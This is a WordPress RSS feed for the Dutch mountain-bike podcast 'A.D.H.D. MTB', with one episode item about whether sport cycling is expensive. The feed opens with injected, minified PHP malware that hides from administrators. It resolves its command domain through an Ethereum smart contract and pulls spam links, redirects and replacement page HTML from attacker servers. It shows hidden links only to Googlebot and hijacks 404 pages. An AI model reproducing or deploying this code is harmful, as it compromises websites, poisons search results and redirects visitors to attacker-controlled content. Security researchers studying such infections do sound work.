if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&&current_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i<strlen($hex);$i+=2){$byte=substr($hex,$i,2);if($byte==='00')break;$o.=chr(hexdec($byte));}return trim($o);}function RD(){$rp=$GLOBALS['RP'];$i=(int)get_transient('_ri');if($i>=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')<FT)return;$d=RD();if($d){set_transient('_dm',$d,86400);delete_transient('_fc');}}function J($u){$r=wp_remote_get($u,['timeout'=>TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo'<link rel="canonical" href="'.esc_url($Lx['C'][$path]).'" />'."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='<li><a href="'.esc_url($r['u']).'">'.esc_html($r['t']).'</a></li>';if($h!=='')echo'<details class="pl"><summary>More</summary><ul>'.$h.'</ul></details>';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'<!doctype html><html><head>';wp_head();echo'</head><body>'.$p['h'];wp_footer();echo'</body></html>';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Podcast &#8211; A.D.H.D. MTB</title>
	<atom:link href="https://adhdmtb.nl/blog/category/podcast/feed/" rel="self" type="application/rss+xml" />
	<link>https://adhdmtb.nl</link>
	<description>Trainen voor de mega</description>
	<lastBuildDate>Mon, 26 Feb 2024 09:58:23 +0000</lastBuildDate>
	<language>nl-NL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>
	<item>
		<title>SPORTFIETSEN IS DUUR!</title>
		<link>https://adhdmtb.nl/blog/2024/02/26/podcast-01/</link>
		
		<dc:creator><![CDATA[Barry]]></dc:creator>
		<pubDate>Mon, 26 Feb 2024 09:04:01 +0000</pubDate>
				<category><![CDATA[ADHD_FM]]></category>
		<category><![CDATA[Podcast]]></category>
		<guid isPermaLink="false">https://adhdmtb.nl/?p=247</guid>

					<description><![CDATA[Aflevering 1 van de ADHD MTB podcast Kunnen Jan Blok van wielersportvereniging HSK Trias, John van Herwerden van van Herwerden Sportfietsen en Tinus Jongert directeur Nederlands paramedisch instituut en inspanningsfysioloog, Barry overtuigen dat sportfietsen niet duur is als je dit af weegt naar de gezondheid aspecten voor lichaam en geest?]]></description>
										<content:encoded><![CDATA[
<p>Aflevering 1 van de ADHD MTB podcast</p>



<p>Kunnen Jan Blok van <a href="https://www.hsktrias.nl/" target="_blank" rel="noreferrer noopener">wielersportvereniging HSK Trias</a>, John van Herwerden van <a href="https://www.vanherwerden.nl/" target="_blank" rel="noreferrer noopener">van Herwerden Sportfietsen</a> en Tinus Jongert directeur<a href="https://www.npi.nl/" target="_blank" rel="noreferrer noopener"> Nederlands paramedisch instituut</a> en inspanningsfysioloog, Barry overtuigen dat sportfietsen niet duur is als je dit af weegt naar de gezondheid aspecten voor lichaam en geest?</p>



<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-1 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:33.33%">
<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="576" height="1024" src="https://adhdmtb.nl/wp-content/uploads/2024/02/IMG-20240224-WA0015-576x1024.jpg" alt="" class="wp-image-250" srcset="https://adhdmtb.nl/wp-content/uploads/2024/02/IMG-20240224-WA0015-576x1024.jpg 576w, https://adhdmtb.nl/wp-content/uploads/2024/02/IMG-20240224-WA0015-169x300.jpg 169w, https://adhdmtb.nl/wp-content/uploads/2024/02/IMG-20240224-WA0015-768x1365.jpg 768w, https://adhdmtb.nl/wp-content/uploads/2024/02/IMG-20240224-WA0015-864x1536.jpg 864w, https://adhdmtb.nl/wp-content/uploads/2024/02/IMG-20240224-WA0015.jpg 900w" sizes="(max-width: 576px) 100vw, 576px" /></figure>
</div>



<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:66.66%">
<iframe title="ADHDMTB aflevering 1: Sportfietsen is duur!" allowtransparency="true" height="300" width="100%" style="border: none; min-width: min(100%, 430px);height:300px;" scrolling="no" data-name="pb-iframe-player" src="https://www.podbean.com/player-v2/?i=hhva3-1591f71-pb&#038;from=pb6admin&#038;square=1&#038;share=1&#038;download=1&#038;rtl=0&#038;fonts=Arial&#038;skin=1&#038;font-color=auto&#038;logo_link=episode_page&#038;btn-skin=ff6d00&#038;size=300" loading="lazy" allowfullscreen=""></iframe>
</div>
</div>



<hr class="wp-block-separator has-alpha-channel-opacity"/>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>